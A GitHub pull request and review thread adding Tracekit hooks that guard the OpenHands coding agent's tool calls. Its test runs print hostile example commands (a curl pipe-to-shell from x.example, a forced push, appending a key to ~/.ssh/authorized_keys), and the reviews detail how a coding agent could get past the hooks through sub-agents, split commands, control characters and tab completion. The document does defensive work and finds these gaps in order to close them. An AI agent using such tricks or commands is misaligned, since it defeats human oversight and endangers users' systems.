Skip to content

Coding agents: hooks for OpenHands (CLI and SDK) (#563) - #662

Merged
LoopGlitch26 merged 10 commits into
Cygnux-Labs:mainfrom
aj-codespy:openhands-hooks
Nov 13, 2026
Merged

LoopGlitch26 merged 10 commits into
Cygnux-Labs:mainfrom
aj-codespy:openhands-hooks

Conversation

@aj-codespy

@aj-codespy aj-codespy commented Nov 7, 2026 •

Copy link
Copy Markdown
Contributor

What and why

Closes #563. tracekit init --dev [--v2] --agent openhands (plus uninstall and doctor) guards the OpenHands CLI and SDK through OpenHands' command hooks, as in the design note.

  • Mapping (agent_hooks.tool/normalise):
    • OpenHands' HookEvent is Claude Code's payload under other keys (event_type, working_dir, message), and the Action's kind is dropped.
    • terminal → Bash. With is_input: true the text goes into the running command, so the call is marked later.
    • file_editor → Read (view), Write (create) or Edit (the rest), on path.
    • apply_patch → Edit on every file its headers name.
    • glob and grep map to Glob and Grep. The gemini preset's write_file, edit, read_file and list_directory map to Write, Edit, Read and LS. MCP tools keep their own names and are decided on their data.
    • task, task_tool_set and delegate are denied in the hook: they run a sub-agent with no hooks.
    • The terminal is interactive. An is_input call, a key name (ENTER, UP, C-r, …) and a line left open by a trailing \ are marked typed, and the engine holds a shell call marked so (TK-SHELL-PARSE, cause typed).
    • An Observation with is_error is recorded as a PostToolUseFailure.
    • A file tool with no path, or an apply_patch with no file header, is denied in the hook.
  • Pairing: OpenHands sends no call id (metadata is {}), so calls are paired with _paired_ids, and openhands is in PAIRED. A denied call leaves the queue; it gets no PostToolUse, only a UserRejectObservation.
  • Installer: merges into ~/.openhands/hooks.json (--project: ./.openhands/hooks.json), with a backup, keeping whichever of OpenHands' three forms the file is in. That's where the CLI reads: the released 1.16.0 (PyPI, tag 1.16.0) pins SDK 1.21.0, and the CLI's main pins 1.28.1; both read only <working dir>/.openhands/hooks.json and ~/.openhands/hooks.json. $OH_PERSISTENCE_DIR is honoured on SDK main only, so the installer doesn't follow it. The SDK reads no hooks.json by itself: the docs show the hook_config= an SDK app passes.
    • Events: PreToolUse, PostToolUse, UserPromptSubmit, SessionStart and SessionEnd, with matcher *.
    • Every command is wrapped by install._blocking. PreToolUse gets 600 s, the rest 30 s.
  • From the review:
    1. A held call never times out into running. The hook answers within APPROVAL_WAIT_S (540 s), below the 600 s timeout, and exits 2 with "HELD, nothing ran … make the identical call again". Tested.
    2. D-OPENHANDS-PROJECT warns when the working directory has a .openhands/hooks.json without Tracekit's hooks. A limits.md row gives the remedy: doctor in the repo, --project, or system mode.
    3. A limits.md row on mis-pairing: a call rejected in the CLI's prompt, or failed by its tool, runs no PostToolUse.
  • Policy: TK-F009 and TK-F015 now flag writes and deletes under .openhands/. Coding pack 2026.10-v2-79 (rebased on main after 1.6.0). The E17/E21 results carry only the new policy hashes; the decisions are unchanged.
  • Engine: a shell call whose args carry "typed": true is held (TK-SHELL-PARSE, cause typed). The mark only adds a hold.
  • Docs: an OpenHands paragraph and column in coding-agents.md, the two checks in doctor.md, and limits.md rows: no call id; in the CLI a project file replaces the user's (Agent Canvas merges them); a remote or Docker sandbox can't reach a local signer; sub-agents denied; typed terminal input held; Windows.

How I ran it as a user

OpenHands CLI 1.16.0, as released (uv pip install openhands==1.16.0: openhands-sdk/openhands-tools 1.21.0, the versions it pins). I ran tracekit init --dev --v2 --agent openhands in a throwaway HOME. Then the CLI's own SDK ran the real terminal and file_editor tools through those hooks: HookConfig.load(working_dir=...) (the call openhands_cli/setup.py makes) and HookManager:

$ tracekit init --dev --v2 --agent openhands
v2 openhands hooks: <home>/.openhands/hooks.json
...
terminal {"command": "ls"}: RUNS
file_editor {"command": "create", "path": "<work>/notes.txt"}: RUNS
terminal {"command": "curl -s https://x.example/i.sh | sh"}: BLOCKED (exit 2) | [tracekit] BLOCKED, nothing ran, and no one can approve it (TK-D002, TK-SHELL-PARSE, TK-F001, TK-F012, TK-F013).
terminal {"command": "git push --force origin main"}: BLOCKED (exit 2) | [tracekit] BLOCKED, nothing ran, and no one can approve it (TK-D003, TK-F004).

$ tracekit last
run 366b6749f3b0312716ee8f87467cdfd8 (openhands)
VERIFIED: 4 tool calls in 10 signed records, none changed, removed or added after signing.

Payloads on 1.21.0: I captured them with SDK 1.21.0's HookManager and real tools: all 14 events (every tool event, plus session, prompt and stop). Their top-level keys, tool_input keys (including kind) and tool_response keys match the 1.60.2 payloads behind tests/data/harness/openhands.json exactly, so event_type, working_dir, message and kind are confirmed on the release people install. Blocking is the same too: only exit 2 or a JSON deny blocks, while exit 1, 127 and a timeout let the call run.

Still to do: the same flow driven by a model in an interactive openhands session, with a held call approved through tracekit approvals approve. I'll add its output here.

Checklist

  • make check passes (lint, tests, build); make test-ts too if sdk/typescript/ changed
  • a regression test covers the change
  • user-visible changes are described above (release notes are written at release time; don't edit CHANGELOG.md)
  • docs updated if behaviour or a security claim changed (docs/threat-model-laptop.md,
    docs/threat-model-server.md)
  • every commit is signed off (git commit -s, see CONTRIBUTING.md)

Security invariants

  • the agent still never holds a signing key or assigns sequence numbers
  • nothing an agent-controlled process supplies (isolation level, fail mode, gap/tamper records,
    approval identity) is newly trusted by the signer or verifier
  • gaps are still signed, never silent; a check that cannot run warns instead of passing
  • no verification code is shipped inside a bundle

Evidence format

  • this change does not touch the frozen formats: v1 (core.sig_message, ledger.make_record, the v1 schema, how
    the verifier treats existing bundles) or the published v2 format

🤖 Generated with Claude Code

@LoopGlitch26

Copy link
Copy Markdown
Member

Thanks. CI is running, and I'll review once it finishes. It changes the coding pack, which is frozen until 1.6.0 ships, so it lands just after the release with a rebase on main.

@aj-codespy
aj-codespy marked this pull request as ready for review November 7, 2026 13:37

@LoopGlitch26 LoopGlitch26 left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Reviewed now that 1.6.0 is out. The mapping, the hold that ends before OpenHands' 600 s timeout, the denials in the hook and the two doctor checks follow the design notes, and each has a test. Two things before it can merge:

  1. Rebase on main. It conflicts now: tracekit/agent_hooks.py changed in the 1.6.0 fixes, and the coding pack is at 2026.10-v2-77, so this becomes 2026.10-v2-78, with the E17 and E21 policy hashes re-run.
  2. The live CLI session the description lists as still to do. The installer targets the CLI (1.16.0 on SDK 1.28.1), but tests/data/harness/openhands.json holds payloads captured through HookManager on SDK 1.60.2. Please capture them from a CLI session and name its version in the PR, so event_type, working_dir, message and tool_input's kind are confirmed on the version people run.

@LoopGlitch26

Copy link
Copy Markdown
Member

@aj-codespy are you still on this? If you are busy, say so and #563 opens up for someone else.

aj-codespy and others added 5 commits November 11, 2026 15:57
…s#563)

OpenHands sends Claude Code's hook payload under its own keys (event_type,
working_dir, message), with no call id and metadata {}. terminal is Bash
(is_input: text typed into the running command, later), file_editor is Read
(view), Write (create) or Edit on path, apply_patch is Edit on every file its
headers name, glob and grep are Glob and Grep, MCP tools keep their names.
tool_input's kind is dropped, and an Observation with is_error is a
PostToolUseFailure. Calls are paired with _paired_ids. A file_editor with no
path or an apply_patch with no file header is denied in the hook.

A held call nobody answers is denied within APPROVAL_WAIT_S, under the 600 s
PreToolUse timeout, since OpenHands runs a call whose hook times out.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Signed-off-by: aj-codespy <ajayush2301@gmail.com>
tracekit init --dev [--v2] --agent openhands merges Tracekit's hooks into
$OH_PERSISTENCE_DIR/hooks.json, else ~/.openhands/hooks.json (--project:
./.openhands/hooks.json), with a backup: PreToolUse, PostToolUse,
UserPromptSubmit, SessionStart and SessionEnd, matcher *, PreToolUse at
600 s and the rest at 30 s, each command wrapped by install._blocking. On
Windows the command keeps cmd.exe's form (OpenHands runs it with shell=True).

doctor warns (D-OPENHANDS-PROJECT) when the working directory has a
.openhands/hooks.json without Tracekit's hooks, which OpenHands reads in
place of the user's, and (D-OPENHANDS-CONCURRENCY) when agent_settings.json
sets tool_concurrency_limit above 1, which can mis-pair identical calls.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Signed-off-by: aj-codespy <ajayush2301@gmail.com>
TK-F009 and TK-F015 flag writes and deletes under .openhands/ (hooks.json,
agent_settings.json), in a project or the home folder; coding pack
2026.10-v2-79. E17/E21 results carry the new policy hashes (decisions
unchanged).

docs: an OpenHands paragraph and column in coding-agents.md, the two doctor
checks in doctor.md, and three limits rows: no call id (a
tool_concurrency_limit above 1 can mis-pair identical calls), a project's
.openhands/hooks.json replaces the user's (a repo can switch Tracekit off;
remedy: doctor in the repo, --project or system mode), and Docker sandboxes
can't reach the signer.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Signed-off-by: aj-codespy <ajayush2301@gmail.com>
…as (Cygnux-Labs#563)

From the review: the OpenHands CLI (1.16.0, its last release, on SDK 1.28.1)
reads only <working dir>/.openhands/hooks.json and ~/.openhands/hooks.json;
$OH_PERSISTENCE_DIR is honoured on SDK main only, so init no longer follows
it. The SDK never reads hooks.json by itself (an app passes hook_config=),
and Agent Canvas merges project and user hooks and runs locally by default:
the docs, the limits rows and D-OPENHANDS-PROJECT's message say so.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Signed-off-by: aj-codespy <ajayush2301@gmail.com>
…d form (Cygnux-Labs#563)

OpenHands runs a hook with subprocess.run(shell=True), cmd.exe on Windows,
so init keeps the quoted interpreter path there, as for Cursor, Droid,
Crush and Devin; the installer test's PowerShell check now skips it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Signed-off-by: aj-codespy <ajayush2301@gmail.com>
@aj-codespy

Copy link
Copy Markdown
Contributor Author

@LoopGlitch26 Yes, I'm still on this. Sorry for the gap. Both review points:

1. Rebased on main (after 1.6.0).

  • agent_hooks.py: I resolved the conflicts by keeping main's _named(), _repeated() and Devin's TYPED/SHELL_STATE changes, with OpenHands' branches added beside them.
  • Coding pack: now 2026.10-v2-79, one past main's v2-78.
  • Evals: E17 and E21 re-run on it. Only the policy hashes change: 0 source, rewrite or rule misses, 0 regressions, 0 engine mismatches.

2. The CLI version. The released OpenHands CLI 1.16.0 (PyPI, tag 1.16.0) pins openhands-sdk 1.21.0, not 1.28.1. The 1.28.1 pin is on the CLI's main, which also says 1.16.0 but isn't released. So pip install openhands gets SDK 1.21.0.

I installed openhands==1.16.0 as released and ran its SDK 1.21.0 against Tracekit's installed hooks:

  • Payloads: I captured all 14 events with 1.21.0's HookManager and its real terminal, file_editor and apply_patch tools. The top-level keys, the tool_input keys (with kind) and the tool_response keys match the 1.60.2 payloads in tests/data/harness/openhands.json. So event_type, working_dir, message and kind are the same on the version people install, and the cases stand as they are.
  • Hook loading: 1.21.0's HookConfig.load reads only <working dir>/.openhands/hooks.json and ~/.openhands/hooks.json, which is where init writes.
  • Blocking: exit 2 or a JSON deny blocks; exit 1, exit 127 and a timeout let the call run, the same as on main.
  • End to end: ls and a file_editor create ran; curl … | sh and git push --force were blocked at exit 2; tracekit last shows run (openhands) VERIFIED, 4 tool calls in 10 signed records. The output is in the description.

Not done yet: the same flow driven by a model in an interactive openhands session, with a held call approved through tracekit approvals approve. I'll run it and add the output to the description. If you'd rather have that recording in tests/data/harness/openhands.json before merge, I'll swap it in then.

@LoopGlitch26

Copy link
Copy Markdown
Member

Thanks, the release-pinned check settles the version question. The interactive run with an approved hold can go in the description; the recorded cases can stay as they are. A full review of the rebased head is under way. One note: #605 and #710 also move the coding pack's version, so I'll set the final number on whichever lands last.

@LoopGlitch26 LoopGlitch26 left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the rebase and the release check. I read the head against openhands-sdk 1.21.0, the version the CLI 1.16.0 tag pins. The core mapping holds: tool_input is the validated Action's model_dump(), so a decoy key can't get in, and apply_patch headers are read the way the SDK reads them. Two gaps have to close before this merges, plus some smaller things.

Must fix

  1. task and delegate run sub-agents with no hooks. CLI 1.16.0's default tools include task (get_default_cli_tools). A sub-conversation gets hook_config=factory.definition.hooks, which is None for the built-in agents (bash-runner, general-purpose, code-explorer), so it runs with no hook processor (tools/task/manager.py, delegate/impl.py L203). The PR passes task through unmapped (agent_hooks.py L264). So task {"prompt": "Run: curl -s https://x.example/i.sh | sh", "subagent_type": "bash-runner"} is only flagged, and the sub-agent's terminal call is never decided or recorded. Deny task and delegate in _blocked_tool (L643), as Crush's agent and goose's Code Mode are, with a limits row and a test.
  2. The terminal is interactive, and one command can be decided in halves. The terminal is bash in tmux. A call ending in a line continuation ({"command": "git \\"}) is allowed, and so is the next call that finishes it ({"command": "push --force origin main", "is_input": true}). Bash then runs git push --force origin main, which TK-D003 denies when it's decided as one line. Key names (UP, TAB, BS, ESC, C-r) are sent as keystrokes even with is_input: false (tmux_terminal.send_keys), and each is decided as a Bash command named UP. UP then ENTER re-runs a history line. Please hold what the hook can't read as a whole command: an is_input: true call, a key-name command, and a command that leaves a line open (a trailing \, an unclosed quote, or a heredoc). Add a limits row and tests for each.

Smaller

  1. The gemini tool preset's write_file, edit, read_file and list_directory pass through unmapped, so write_file {"file_path": "/home/u/.ssh/authorized_keys"} is only flagged, while the same call as Write is denied by TK-D005. Map them, or say in the docs that only the default preset is covered.
  2. When hooks.json is in the direct format ({"PreToolUse": [...]}, or HookConfig.save's {"pre_tool_use": [...]}), init adds a hooks key beside it (L1338). OpenHands then reads only hooks, so the person's own hooks are silently dropped. Merge into the format the file already uses, or refuse with a message.
  3. The pairing risk named in D-OPENHANDS-CONCURRENCY and its limits row doesn't happen: _ActionBatch.emit sends results in call order at any tool_concurrency_limit. The real cases are a call the person rejects in the CLI's default always-ask mode (UserRejectObservation) and a tool ValueError (AgentErrorEvent). Neither sends a PostToolUse, so the queued id shifts the next identical call's result. Fix the pairing for those, or describe them in the row instead.
  4. The docs say CLI 1.16.0 runs on SDK 1.28.1 (coding-agents.md L129, limits.md L160, agent_hooks.py L916). The tag pins 1.21.0, as your comment says.
  5. Windows: the hook command isn't wrapped (L1175), so a hook that can't start lets the call run (OpenHands blocks only on exit 2). The terminal there is PowerShell but is decided as Bash. Wrap the command as on POSIX, or add a limits row as Devin has.
  6. D-OPENHANDS-PROJECT reports ok when the project file has any v2 hook, even with no PreToolUse (doctor.py L612). It also reads the current directory and ~/.openhands rather than $OPENHANDS_WORK_DIR and $OPENHANDS_PERSISTENCE_DIR.
  7. The MCP case at tests/data/harness/openhands.json L53 isn't 1.21.0's shape, which dumps as {"data": {...}, "kind": "MCPToolAction"}. The decision is the same, but the recorded case should be real.

The pack's flag on .openhands/ edits (TK-F009, TK-F015) matches how the other harnesses' hook files are treated today, so that's fine. I'll set the coding pack's final version at merge. CI was green so far when checked.

Must fix:
- task, task_tool_set and delegate are denied in the hook: they run a
  sub-agent with hook_config None, whose calls would go undecided and
  unrecorded.
- The terminal is interactive (bash in tmux): an is_input call, a key name
  it sends as a keystroke (ENTER, TAB, UP, C-x, ...) and a line left open
  by a trailing backslash are marked typed, and the engine holds a shell
  call marked typed (TK-SHELL-PARSE, cause typed). The mark only adds a
  hold; the parser already holds an unclosed quote or heredoc.

Smaller:
- The gemini preset's write_file, edit, read_file and list_directory map
  to Write, Edit, Read and LS.
- init merges into hooks.json in whichever of OpenHands' three forms it
  is written (the hooks wrapper, the direct map, HookConfig.save's
  snake_case fields), and doctor reads all three.
- D-OPENHANDS-CONCURRENCY is removed: results come back in call order.
  The limits row names the real mis-pairing: a call rejected in the CLI's
  prompt or failed by its tool runs no PostToolUse.
- CLI 1.16.0 as released is on SDK 1.21.0, not 1.28.1.
- A limits row for Windows: the hook command isn't wrapped, and the
  PowerShell terminal is decided as Bash.
- D-OPENHANDS-PROJECT counts only a v2 PreToolUse hook, and reads the
  project file from $OPENHANDS_WORK_DIR.
- An MCP call is decided on its data (1.21.0's MCPToolAction shape), and
  the recorded case has that shape.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Signed-off-by: aj-codespy <ajayush2301@gmail.com>
@aj-codespy

Copy link
Copy Markdown
Contributor Author

@LoopGlitch26 Thanks for the close read against 1.21.0. All nine are in, each with a test:

Must fix

  1. task and delegate: denied in _blocked_tool, as Crush's agent is. That covers task, task_tool_set and delegate. There's a limits row and tests on the v1 and v2 hooks.

  2. Interactive terminal: the hook marks three kinds of call typed:

    • an is_input: true call;
    • a key name the terminal sends as a keystroke (ENTER, TAB, BS, ESC, the arrows, HOME, END, PGUP, PGDN, and C-x/CTRL-x/CTRL+x, matched as send_keys matches them: stripped, any case);
    • a line ending in an odd number of backslashes.

    The engine holds a shell call marked typed under TK-SHELL-PARSE, with its own cause and remedy ("text typed into a command already running, a key, or a line left open…"). The parser already holds an unclosed quote (quote) and an unclosed heredoc (syntax). The mark can only add a hold: a call without it is decided as before, and the strict pack denies these, as it denies any line it can't read. git \ then push --force origin main (is_input) are now two holds, and so are UP and ENTER. Tests cover each case and the whole-command cases that stay as they were; there's a limits row too. It's a small change in engine.py and compile.py: the signer had no way for a hook to ask for a hold. Tell me if you'd rather it went another way.

Smaller

  1. Gemini preset: write_file, edit, read_file and list_directory now map to Write, Edit, Read and LS (on file_path / dir_path), and are denied in the hook with no path. write_file of ~/.ssh/authorized_keys is denied by TK-D005 (tested).
  2. hooks.json forms: init merges into the form the file is in: the hooks wrapper, the direct PascalCase map, or HookConfig.save's snake_case fields. Doctor reads all three. Tested with install then uninstall back to the original file. I also checked with 1.21.0's HookConfig.load that each merged file loads both the person's hook and Tracekit's.
  3. Pairing: D-OPENHANDS-CONCURRENCY is removed. The limits row now names the real cases: a call rejected in the confirmation prompt (UserRejectObservation) and a tool error (AgentErrorEvent). Neither runs a PostToolUse, so the next identical call's result shifts. The hook can't see either, so the row describes it rather than fixing it.
  4. Versions: the docs and code comment now say 1.16.0 as released is on SDK 1.21.0.
  5. Windows: a limits row, as Devin has. The command isn't wrapped (a hook that can't start lets the call run), and the PowerShell terminal is decided as Bash.
  6. D-OPENHANDS-PROJECT: it now counts only a v2 hook on PreToolUse, and reads the project file from $OPENHANDS_WORK_DIR (else the current directory). The user file stays ~/.openhands/hooks.json: 1.21.0's HookConfig.load reads Path.home(), and $OPENHANDS_PERSISTENCE_DIR moves the CLI's settings, not the hooks file.
  7. MCP case: it's now 1.21.0's shape, {"data": {...}, "kind": "MCPToolAction"}, and the hook decides an MCP call on its data.

The recorded is_input case is now held and approved, since that's what it gets.

@LoopGlitch26 LoopGlitch26 left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks, eight of the nine are in at 5621b2f. The typed design holds up: the engine only adds a hold for it (engine.py L277), typed: false from an agent changes nothing, and no other harness sets it. Three things before this merges:

  1. Control characters in an ordinary terminal command. {"command": "echo hi\u0015git push --force origin main"} isn't marked. tmux types the text as keys, so Ctrl-U wipes echo hi and bash runs git push --force origin main. The coding pack only flags it (TK-F004), though TK-D003 denies that push when it's decided whole. "echo hi\rgit push --force origin main" is the same, since \r is an Enter. Main already treats Devin's exec this way (TYPED["exec"], and \r read as a line end). Mark a terminal command that holds a control character or a \r as typed too, with a test for each.
  2. v1 ignores the mark. Only the v2 engine reads typed, so with tracekit init --dev --agent openhands (v1), UP, ENTER and is_input text are allowed. Deny those calls in the v1 hook, or say in the limits row that the hold is v2-only (and steer OpenHands users to --v2).
  3. Tests in tests/test_signer_policy.py: an agent-written typed: false and an unmarked harness's calls decide as before, and the strict pack denies a typed call (it sets on_parse_error: deny).

Optional: every C-c now waits for a person in the coding pack. Exempting C-c alone would save friction without opening anything.

Small, also optional:

  • A hooks.json that mixes both key styles gets both names for one event, which OpenHands refuses to load. That fails closed, but a message would help.
  • D-OPENHANDS-PROJECT reads a wrapped file with snake_case events as having no hook, which is a false warning (the safe direction).

#605 rewrites engine.py and merges first, so please merge main after it. I'll set the pack's version then.

@LoopGlitch26

Copy link
Copy Markdown
Member

#605 has merged, so please merge main into this branch. It changed tracekit/policy2/ and the coding pack, which is now 2026.11-v2-80: set this branch's coding pack version to 2026.11-v2-81. If another PR takes that number first, I'll move yours on merge.

@LoopGlitch26

Copy link
Copy Markdown
Member

What's left here, in one place:

  1. A terminal command that holds a control character or a \r is marked typed too (echo hi\^Ugit push --force origin main and echo hi\rgit push --force origin main), with a test for each.
  2. The v1 hook denies the calls the v2 hook marks typed (UP, ENTER, is_input text), or the limits row says the hold is v2-only and points OpenHands users to --v2.
  3. In tests/test_signer_policy.py: an agent-written typed: false and an unmarked harness's calls decide as before, and the strict pack denies a typed call.
  4. A merge of main, which now has Cline's hooks (Coding agents: hooks for Cline, CLI and VS Code extension (#695) #732) in the same files.

Ignore the version number in my last comment: main is at 2026.11-v2-81 now and other open PRs take the next ones, so I'll set this branch's at merge.

aj-codespy and others added 2 commits November 12, 2026 23:39
Main has Cygnux-Labs#605 (policy2 and the coding pack, now 2026.11-v2-81) and Cline's
hooks (Cygnux-Labs#732) in the same files: both harnesses are kept in AGENT_NAMES,
PAIRED, config_path, the docstrings, the coding-agents table and the
TK-F009/TK-F015 paths. The pack's version stays main's (set at merge);
E17/E21 carry the new policy hashes (decisions unchanged).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Signed-off-by: aj-codespy <ajayush2301@gmail.com>
…Cygnux-Labs#563)

- A terminal command with a control character in it (as Devin's exec reads
  them: ^U, \r, ESC; not a tab or \n) is marked typed: tmux types it as
  keys, so ^U erases the line before it and \r is an Enter.
- The v1 hook denies a call marked typed, which only the v2 engine holds,
  and points to --v2.
- test_signer_policy: across every pack and engine, typed false (or any
  value but true) and an unmarked call decide as before, a typed shell call
  keeps its own rules and adds TK-SHELL-PARSE (held, denied in the strict
  pack), and the mark on a non-shell call changes nothing.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Signed-off-by: aj-codespy <ajayush2301@gmail.com>
@aj-codespy

Copy link
Copy Markdown
Contributor Author

@LoopGlitch26 All four are in:

  1. Control characters: a terminal command with a control character in it is now marked typed. It reads them as main reads Devin's exec (TYPED["exec"]: \r and ^U count, a tab and \n don't). Both your examples are now held (TK-SHELL-PARSE, cause typed) instead of only flagged. There's a test for each, plus an ESC [A case and heredoc/newline/tab cases that stay unmarked.
  2. v1: the v1 hook denies a call marked typed (UP, ENTER, is_input text, a line left open, a control character). The message points to --v2, which holds them. The limits row and coding-agents.md say the same. Tested through the v1 hook as a subprocess: the denied calls leave the pairing queue, and a whole command still goes through.
  3. tests/test_signer_policy.py: test_a_typed_shell_call_is_held_and_the_mark_only_ever_adds_a_hold, across all four packs and both engines. typed set to false, "true", 1 or null decides exactly as the unmarked call does, and so do non-shell calls marked typed. typed: true adds TK-SHELL-PARSE and keeps the call's own rules: held, denied in the strict pack, and still denied where a deny rule hits.
  4. Merge of main: done, with Policy: the coding default holds secrets, remote deletes, access changes, guardrail changes and pushes to main #605 and Cline's hooks (Coding agents: hooks for Cline, CLI and VS Code extension (#695) #732). Both harnesses are kept in AGENT_NAMES, PAIRED, config_path, the docstrings, the coding-agents table (Cline's column, then OpenHands') and the TK-F009/TK-F015 paths. The pack's version stays main's for you to set. E17/E21 carry the new policy hashes, with the decisions unchanged (0 regressions, 0 engine mismatches).

@LoopGlitch26

Copy link
Copy Markdown
Member

Thanks, all four are in at 6e8fba7: ^U, \r and escape sequences in a terminal command are marked typed, with a test for each; the v1 hook denies a typed call, points to --v2, and the denied calls leave the pairing queue; the signer-policy test covers false, "true", 1, null and non-shell calls across the packs and both engines; and main is merged with Cline kept beside OpenHands. The OpenHands and typed tests pass here in a container (23 tests, 652 subtests). CI is queued.

One more thing, which my last review got wrong by pointing you at Devin's exec: a tab. OpenHands types the command into an interactive bash (send_keys(text, literal=True)), so a tab is a Tab key and readline completes the word before it. echo ssh-ed25519 AAAA x >> ~/.ss<TAB>authorized_keys runs as >> ~/.ssh/authorized_keys, which TK-D010 denies when it's written out, while the hook's copy (~/.ss and authorized_keys) is only flagged (TK-F001) at this head. I checked the completion in tmux 3.3a with bash after set +H, as the terminal starts it: cat ~/.ss<TAB>id_rsa ran as cat ~/.ssh/id_rsa.

Please count a tab as a key in a terminal command too: the [\x00-\x09\x0b-\x1f\x7f-\x9f] class, as TYPED["write_to_process"] has it, without its history parts (the terminal runs set +H). In OpenHandsTools, the cat <<EOF\n\tx\nEOF case then becomes a held one, and the authorized_keys line above makes a good test. readline already completes a tab inside a heredoc in that terminal, so holding it costs nothing that worked before.

Small: the v1 deny message names typed text, a key and a line left open; please add a control character to that list.

The terminal types a command into interactive bash as keys (send_keys
literal), so a tab completes the word before it: ~/.ss<TAB>authorized_keys
runs as ~/.ssh/authorized_keys. A terminal command is marked typed on
[\x00-\x09\x0b-\x1f\x7f-\x9f] (OPENHANDS_KEY_CHAR: write_to_process's class
without its history parts; the terminal runs set +H). A heredoc with a tab
in it is now held. The v1 deny message names a control character too.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Signed-off-by: aj-codespy <ajayush2301@gmail.com>
@aj-codespy

Copy link
Copy Markdown
Contributor Author

@LoopGlitch26 Thanks for checking the completion in tmux. Both are in:

  • Tab: a terminal command is now marked typed on [\x00-\x09\x0b-\x1f\x7f-\x9f] (OPENHANDS_KEY_CHAR): TYPED["write_to_process"]'s class without its history parts, since the terminal runs set +H. echo ssh-ed25519 AAAA x >> ~/.ss<TAB>authorized_keys and cat ~/.ss<TAB>id_rsa are now held, and cat <<EOF\n\tx\nEOF moved to the held cases. A newline, and \t written as two characters (printf 'a\tb'), stay unmarked. The v1 hook denies a tab case too, and the docs and limits row now say a tab completes the word before it.
  • v1 message: it now lists "a key, a control character or a line left open".

@LoopGlitch26

Copy link
Copy Markdown
Member

The tab fix is in at ee1836c and holds. ~/.ss<TAB>authorized_keys, cat ~/.ss<TAB>id_rsa and a heredoc with a tab are held (denied in strict). So are ^U, \r, DEL, form feed and C1 characters. A newline and a literal \t stay unmarked and decide as before. The v1 hook denies the tab case with the new wording.

One test will fail in CI: tests/test_readme.py::Readme::test_the_counts_of_agents_and_integrations_match. openhands is in HARNESSES now, so README.md needs four changes:

  1. OpenHands in the integration list under the badge (L156)
  2. the badge and its alt text at 36 (L12)
  3. openhands in the --agent list (L193)
  4. "another of the 14" (L241)

There are also two comment nits in tracekit/agent_hooks.py:

  • The "a line bash continues on the next call" comment now sits above OPENHANDS_KEY_CHAR instead of OPENHANDS_OPEN_LINE.
  • The comment in tool() stops at "a tab completes". Add "the word before it".

#782 (GitHub Copilot CLI) also adds a harness. Whichever of the two merges second will need the counts at 37 and 15. We'll sort that out at merge.

README: OpenHands in the integration list, the badge at 36, openhands in
the --agent list and "another of the 14" (test_readme's counts). In
agent_hooks, the open-line comment sits above OPENHANDS_OPEN_LINE again, and
tool()'s comment says a tab completes the word before it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Signed-off-by: aj-codespy <ajayush2301@gmail.com>
@aj-codespy

Copy link
Copy Markdown
Contributor Author

@LoopGlitch26 Both are in at 2f2907c:

  • README: OpenHands is in the integration list under the badge, the badge and its alt text say 36, openhands is in the --agent list, and it reads "another of the 14". test_readme passes locally.
  • Comments: the open-line comment sits above OPENHANDS_OPEN_LINE again, and tool()'s comment now ends "a tab completes the word before it".

Noted on #782: whichever merges second moves the counts to 37 and 15.

LoopGlitch26 added a commit to Cygnux-Labs/tracekit-skills that referenced this pull request Nov 13, 2026
Tracekit's init takes --agent gptme (Cygnux-Labs/Tracekit#778), --agent
openhands (Cygnux-Labs/Tracekit#662) and --agent copilot (Cygnux-Labs/Tracekit#782), which land
with cline and codebuddy in its first policy merge train: the skill names all
five among the agents it sets up.

Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
@LoopGlitch26

Copy link
Copy Markdown
Member

Checked 2f2907c. The README lines and both comment fixes are in. This lands with the other policy PRs in one batch, which settles the harness counts with #782 (Copilot) and the gptme PR, and the pack version. Your commits stay as they are, and this PR will show as merged.

@LoopGlitch26

Copy link
Copy Markdown
Member

This lands in #799 (a merge train of the policy PRs), which renumbers rule ids and re-records the evals once; your commits stay as they are and this PR will show as merged.

LoopGlitch26 added a commit to Cygnux-Labs/tracekit-skills that referenced this pull request Nov 13, 2026
* tracekit-setup: the cline and codebuddy agents

Tracekit's init takes --agent cline (Cygnux-Labs/Tracekit#732) and --agent
codebuddy (Cygnux-Labs/Tracekit#757): the skill names both among the agents
it sets up, so it no longer tells the operator they aren't supported.

Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>

* tracekit-setup: the gptme, openhands and copilot agents

Tracekit's init takes --agent gptme (Cygnux-Labs/Tracekit#778), --agent
openhands (Cygnux-Labs/Tracekit#662) and --agent copilot (Cygnux-Labs/Tracekit#782), which land
with cline and codebuddy in its first policy merge train: the skill names all
five among the agents it sets up.

Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>

---------

Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
@LoopGlitch26
LoopGlitch26 merged commit 120ccd5 into Cygnux-Labs:main Nov 13, 2026
34 checks passed
@LoopGlitch26

Copy link
Copy Markdown
Member

Merged in #799: Tracekit now guards OpenHands, CLI and SDK, including what a terminal call types. It ships in the next release. Thank you.

And a follow-up to the earlier request to run Tracekit for a week: if you've been running it on your coding agent, tracekit report --share prints counts only (no commands, paths or content). Posting it with the field-report form (https://github.com/Cygnux-Labs/Tracekit/issues/new?template=field-report.yml) helps us more than anything else. If you haven't tried it yet, pip install -U tracekit-ai then tracekit audit --since 7d shows, read-only, what it would have held last week.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Coding agents: hooks for OpenHands (CLI and SDK)

2 participants